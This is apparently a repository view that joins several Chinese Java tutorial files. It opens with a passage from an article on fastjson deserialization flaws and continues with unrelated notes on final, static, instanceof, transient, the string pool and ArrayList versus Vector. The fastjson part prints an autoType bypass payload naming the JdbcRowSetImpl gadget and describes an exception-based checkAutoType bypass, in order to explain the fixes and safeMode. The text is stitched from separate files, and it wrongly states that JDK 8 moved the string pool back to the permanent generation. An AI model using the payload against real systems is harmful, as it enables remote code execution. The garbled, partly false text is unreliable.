<img src="https://www.hollischuang.com/wp-content/uploads/2020/07/2-1-300x84.png" alt="" width="300" height="84" class="aligncenter size-medium wp-image-5199" />
如果再次加载val名称的类,并且autotype没开启,下一步就是会尝试从全局缓存中获取这个class,进而进行攻击。
所以,黑客只需要把攻击类伪装以下就行了,如下格式:
{"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}
于是在 v1.2.48中,fastjson修复了这个bug,在MiscCodec中,处理Class类的地方,设置了fastjson cache为false,这样攻击类就不会被缓存了,也就不会被获取到了。
在之后的多个版本中,黑客与fastjson又继续一直都在绕过黑名单、添加黑名单中进行周旋。
直到后来,黑客在 v1.2.68之前的版本中又发现了一个新的漏洞利用方式。
#### 利用异常进行攻击
在fastjson中, 如果,@type 指定的类为 Throwable 的子类,那对应的反序列化处理类就会使用到 ThrowableDeserializer
而在ThrowableDeserializer#deserialze的方法中,当有一个字段的key也是 @type时,就会把这个 value 当做类名,然后进行一次 checkAutoType 检测。
并且指定了expectClass为Throwable.class,但是**在checkAutoType中,有这样一约定,那就是如果指定了expectClass ,那么也会通过校验。**
![-w869][4]
因为fastjson在反序列化的时候会尝试执行里面的getter方法,而Exception类中都有一个getMessage方法。
黑客只需要自定义一个异常,并且重写其getMessage就达到了攻击的目的。
**这个漏洞就是6月份全网疯传的那个"严重漏洞",使得很多开发者不得不升级到新版本。**
这个漏洞在 v1.2.69中被修复,主要修复方式是对于需要过滤掉的expectClass进行了修改,新增了4个新的类,并且将原来的Class类型的判断修改为hash的判断。
其实,根据fastjson的官方文档介绍,即使不升级到新版,在v1.2.68中也可以规避掉这个问题,那就是使用safeMode
### AutoType 安全模式?
可以看到,这些漏洞的利用几乎都是围绕AutoType来的,于是,在 v1.2.68版本中,引入了safeMode,配置safeMode后,无论白名单和黑名单,都不支持autoType,可一定程度上缓解反序列化Gadgets类变种攻击。
设置了safeMode后,@type 字段不再生效,即当解析形如{"@type": "com.java.class"}的JSON串时,将不再反序列化出对应的类。
开启safeMode方式如下:
ParserConfig.getGlobalInstance().setSafeMode(true);
如在本文的最开始的代码示例中,使用以上代码开启safeMode模式,执行代码,会得到以下异常:
Exception in thread "main" com.alibaba.fastjson.JSONException: safeMode not support autoType : com.hollis.lab.fastjson.test.Apple
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244)
但是值得注意的是,使用这个功能,fastjson会直接禁用autoType功能,即在checkAutoType方法中,直接抛出一个异常。
![-w821][5]
### 后话
目前fastjson已经发布到了 v1.2.72版本,历史版本中存在的已知问题在新版本中均已修复。
开发者可以将自己项目中使用的fastjson升级到最新版,并且如果代码中不需要用到AutoType的话,可以考虑使用safeMode,但是要评估下对历史代码的影响。
因为**fastjson自己定义了序列化工具类,并且使用asm技术避免反射、使用缓存、并且做了很多算法优化等方式,大大提升了序列化及反序列化的效率。**
之前有网友对比过:
![-w808][6]
当然,**快的同时也带来了一些安全性问题,这是不可否认的。**
最后,其实我还想说几句,虽然fastjson是阿里巴巴开源出来的,但是据我所知,这个项目大部分时间都是其作者温少一个人在靠业余时间维护的。
知乎上有网友说:"**温少几乎凭一己之力撑起了一个被广泛使用JSON库,而其他库几乎都是靠一整个团队,就凭这一点,温少作为“初心不改的阿里初代开源人”,当之无愧。**"
其实,关于fastjson漏洞的问题,阿里内部也有很多人诟病过,但是诟病之后大家更多的是给予**理解****包容**
fastjson目前是国产类库中比较出名的一个,可以说是倍受关注,所以渐渐成了安全研究的重点,所以会有一些深度的漏洞被发现。就像温少自己说的那样:
"和发现漏洞相比,更糟糕的是有漏洞不知道被人利用。及时发现漏洞并升级版本修复是安全能力的一个体现。"
就在我写这篇文章的时候,在钉钉上问了温少一个问题,他竟然秒回,这令我很惊讶。因为那天是周末,周末钉钉可以做到秒回,这说明了什么?
他大概率是在利用自己的业余维护fastjson吧...
最后,知道了fastjson历史上很多漏洞产生的原因之后,其实对我自己来说,我是"更加敢用"fastjson了...
致敬fastjson!致敬安全研究者!致敬温少!
参考资料:
https://github.com/alibaba/fastjson/releases
https://github.com/alibaba/fastjson/wiki/security_update_20200601
https://paper.seebug.org/1192/
https://mp.weixin.qq.com/s/EXnXCy5NoGIgpFjRGfL3wQ
http://www.lmxspace.com/2019/06/29/FastJson-反序列化学习
[1]: https://www.hollischuang.com/wp-content/uploads/2020/07/15938379635086.jpg
[2]: https://www.hollischuang.com/archives/1140
[3]: https://www.hollischuang.com/wp-content/uploads/2020/07/15938462506312.jpg
[4]: https://www.hollischuang.com/wp-content/uploads/2020/07/15938495572144.jpg
[5]: https://www.hollischuang.com/wp-content/uploads/2020/07/15938532891003.jpg
[6]: https://www.hollischuang.com/wp-content/uploads/2020/07/15938545656293.jpg
\ No newline at end of file
const是Java预留关键字,用于后期扩展用,用法跟final相似,不常用
\ No newline at end of file
final是Java中的一个关键字,它所表示的是“这部分是无法修改的”。
使用 final 可以定义 :变量、方法、类。
### final变量
如果将变量设置为final,则不能更改final变量的值(它将是常量)。
class Test{
final String name = "Hollis";
}
一旦final变量被定义之后,是无法进行修改的。
### final方法
如果任何方法声明为final,则不能覆盖它。
class Parent {
final void name() {
System.out.println("Hollis");
}
}
当我们定义以上类的子类的时候,无法覆盖其name方法,会编译失败。
### final类
如果把任何一个类声明为final,则不能继承它。
final class Parent {
}
以上类不能被继承!
\ No newline at end of file
instanceof 是 Java 的一个二元操作符,类似于 ==,>,< 等操作符。
instanceof 是 Java 的保留关键字。它的作用是测试它左边的对象是否是它右边的类的实例,返回 boolean 的数据类型。
以下实例创建了 displayObjectClass() 方法来演示 Java instanceof 关键字用法:
public static void displayObjectClass(Object o) {
if (o instanceof Vector)
System.out.println("对象是 java.util.Vector 类的实例");
else if (o instanceof ArrayList)
System.out.println("对象是 java.util.ArrayList 类的实例");
else
System.out.println("对象是 " + o.getClass() + " 类的实例");
}
\ No newline at end of file
在JVM中,为了减少相同的字符串的重复创建,为了达到节省内存的目的。会单独开辟一块内存,用于保存字符串常量,这个内存区域被叫做字符串常量池。
当代码中出现双引号形式(字面量)创建字符串对象时,JVM 会先对这个字符串进行检查,如果字符串常量池中存在相同内容的字符串对象的引用,则将这个引用返回;否则,创建新的字符串对象,然后将这个引用放入字符串常量池,并返回该引用。
除了以上方式之外,还有一种可以在运行期将字符串内容放置到字符串常量池的办法,那就是使用intern
intern的功能很简单:
在每次赋值的时候使用 String 的 intern 方法,如果常量池中有相同值,就会重复使用该对象,返回对象引用。
static表示“静态”的意思,用来修饰成员变量和成员方法,也可以形成静态static代码块
### 静态变量
我们用static表示变量的级别,一个类中的静态变量,不属于类的对象或者实例。因为静态变量与所有的对象实例共享,因此他们不具线程安全性。
通常,静态变量常用final关键来修饰,表示通用资源或可以被所有的对象所使用。如果静态变量未被私有化,可以用“类名.变量名”的方式来使用。
//static variable example
private static int count;
public static String str;
### 静态方法
与静态变量一样,静态方法是属于类而不是实例。
一个静态方法只能使用静态变量和调用静态方法。通常静态方法通常用于想给其他的类使用而不需要创建实例。例如:Collections class(类集合)。
Java的包装类和实用类包含许多静态方法。main()方法就是Java程序入口点,是静态方法。
//static method example
public static void setCount(int count) {
if(count &gt; 0)
StaticExample.count = count;
}
//static util method
public static int addInts(int i, int...js){
int sum=i;
for(int x : js) sum+=x;
return sum;
}
从Java8以上版本开始也可以有接口类型的静态方法了。
### 静态代码块
Java的静态块是一组指令在类装载的时候在内存中由Java ClassLoader执行。
静态块常用于初始化类的静态变量。大多时候还用于在类装载时候创建静态资源。
Java不允许在静态块中使用非静态变量。一个类中可以有多个静态块,尽管这似乎没有什么用。静态块只在类装载入内存时,执行一次。
static{
//can be used to initialize resources when class is loaded
System.out.println(&quot;StaticExample static block&quot;);
//can access only static variables and methods
str=&quot;Test&quot;;
setCount(2);
}
### 静态类
Java可以嵌套使用静态类,但是静态类不能用于嵌套的顶层。
静态嵌套类的使用与其他顶层类一样,嵌套只是为了便于项目打包。
原文地址:https://zhuanlan.zhihu.com/p/26819685
\ No newline at end of file
字符串大家一定都不陌生,他是我们非常常用的一个类。
String作为一个Java类,可以通过以下两种方式创建一个字符串:
String str = "Hollis";
String str = new String("Hollis");
而第一种是我们比较常用的做法,这种形式叫做"字面量"。
在JVM中,为了减少相同的字符串的重复创建,为了达到节省内存的目的。会单独开辟一块内存,用于保存字符串常量,这个内存区域被叫做字符串常量池。
当代码中出现双引号形式(字面量)创建字符串对象时,JVM 会先对这个字符串进行检查,如果字符串常量池中存在相同内容的字符串对象的引用,则将这个引用返回;否则,创建新的字符串对象,然后将这个引用放入字符串常量池,并返回该引用。
这种机制,就是字符串驻留或池化。
### 字符串常量池的位置
在JDK 7以前的版本中,字符串常量池是放在永久代中的。
因为按照计划,JDK会在后续的版本中通过元空间来代替永久代,所以首先在JDK 7中,将字符串常量池先从永久代中移出,暂时放到了堆内存中。
在JDK 8中,彻底移除了永久代,使用元空间替代了永久代,于是字符串常量池再次从堆内存移动到永久代中
\ No newline at end of file
在关于java的集合类的学习中,我们发现`ArrayList`类和`Vector`类都是使用数组实现的,但是在定义数组`elementData`这个属性时稍有不同,那就是`ArrayList`使用`transient`关键字
private transient Object[] elementData;
protected Object[] elementData;
那么,首先我们来看一下**transient**关键字的作用是什么。
### transient
> Java语言的关键字,变量修饰符,如果用transient声明一个实例变量,当对象存储时,它的值不需要维持。这里的对象存储是指,Java的serialization提供的一种持久化对象实例的机制。当一个对象被序列化的时候,transient型变量的值不包括在序列化的表示中,然而非transient型的变量是被包括进去的。使用情况是:当持久化对象时,可能有一个特殊的对象数据成员,我们不想用serialization机制来保存它。为了在一个特定对象的一个域上关闭serialization,可以在这个域前加上关键字transient。
简单点说,就是被transient修饰的成员变量,在序列化的时候其值会被忽略,在被反序列化后, transient 变量的值被设为初始值, 如 int 型的是 0,对象型的是 null。
\ No newline at end of file
transient 关键字的作⽤是控制变量的序列化, 在变量声明前加上该关键字, 可以阻⽌该变量被序列化到⽂件中, 在被反序列化后, transient 变量的值被设为初始值, 如 int 型的是 0,对象型的是 null。
\ No newline at end of file
`ArrayList`使用了`transient`关键字进行存储优化,而`Vector`没有这样做,为什么?
### ArrayList
/**
* Save the state of the <tt>ArrayList</tt> instance to a stream (that
* is, serialize it).
*
* @serialData The length of the array backing the <tt>ArrayList</tt>
* instance is emitted (int), followed by all of its elements
* (each an <tt>Object</tt>) in the proper order.
*/
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException{
// Write out element count, and any hidden stuff
int expectedModCount = modCount;
s.defaultWriteObject();
// Write out array length
s.writeInt(elementData.length);
// Write out all elements in the proper order.
for (int i=0; i<size; i++)
s.writeObject(elementData[i]);
if (modCount != expectedModCount) {
throw new ConcurrentModificationException();
}
}
ArrayList实现了writeObject方法,可以看到只保存了非null的数组位置上的数据。即list的size个数的elementData。需要额外注意的一点是,ArrayList的实现,提供了fast-fail机制,可以提供弱一致性。
### Vector
/**
* Save the state of the {@code Vector} instance to a stream (that
* is, serialize it).
* This method performs synchronization to ensure the consistency
* of the serialized data.
*/
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
final java.io.ObjectOutputStream.PutField fields = s.putFields();
final Object[] data;
synchronized (this) {
fields.put("capacityIncrement", capacityIncrement);
fields.put("elementCount", elementCount);
data = elementData.clone();
}
fields.put("elementData", data);
s.writeFields();
}
Vector也实现了writeObject方法,但方法并没有像ArrayList一样进行优化存储,实现语句是
`data = elementData.clone();`
clone()的时候会把null值也拷贝。所以保存相同内容的Vector与ArrayList,Vector的占用的字节比ArrayList要多。
可以测试一下,序列化存储相同内容的Vector与ArrayList,分别到一个文本文件中去。* Vector需要243字节* ArrayList需要135字节 分析:
ArrayList是非同步实现的一个单线程下较为高效的数据结构(相比Vector来说)。 ArrayList只通过一个修改记录字段提供弱一致性,主要用在迭代器里。没有同步方法。 即上面提到的Fast-fail机制.ArrayList的存储结构定义为transient,重写writeObject来实现自定义的序列化,优化了存储。
Vector是多线程环境下更为可靠的数据结构,所有方法都实现了同步。
### 区别
> 同步处理:Vector同步,ArrayList非同步 Vector缺省情况下增长原来一倍的数组长度,ArrayList是0.5倍. ArrayList: int newCapacity = oldCapacity + (oldCapacity >> 1); ArrayList自动扩大容量为原来的1.5倍(实现的时候,方法会传入一个期望的最小容量,若扩容后容量仍然小于最小容量,那么容量就为传入的最小容量。扩容的时候使用的Arrays.copyOf方法最终调用native方法进行新数组创建和数据拷贝)
>
> Vector: int newCapacity = oldCapacity + ((capacityIncrement > 0) ? capacityIncrement : oldCapacity);
>
> Vector指定了`initialCapacity,capacityIncrement`来初始化的时候,每次增长`capacityIncrement`
\ No newline at end of file
Markdown is supported
0% .
You are about to add 0 people to the discussion. Proceed with caution.
先完成此消息的编辑!
想要评论请 注册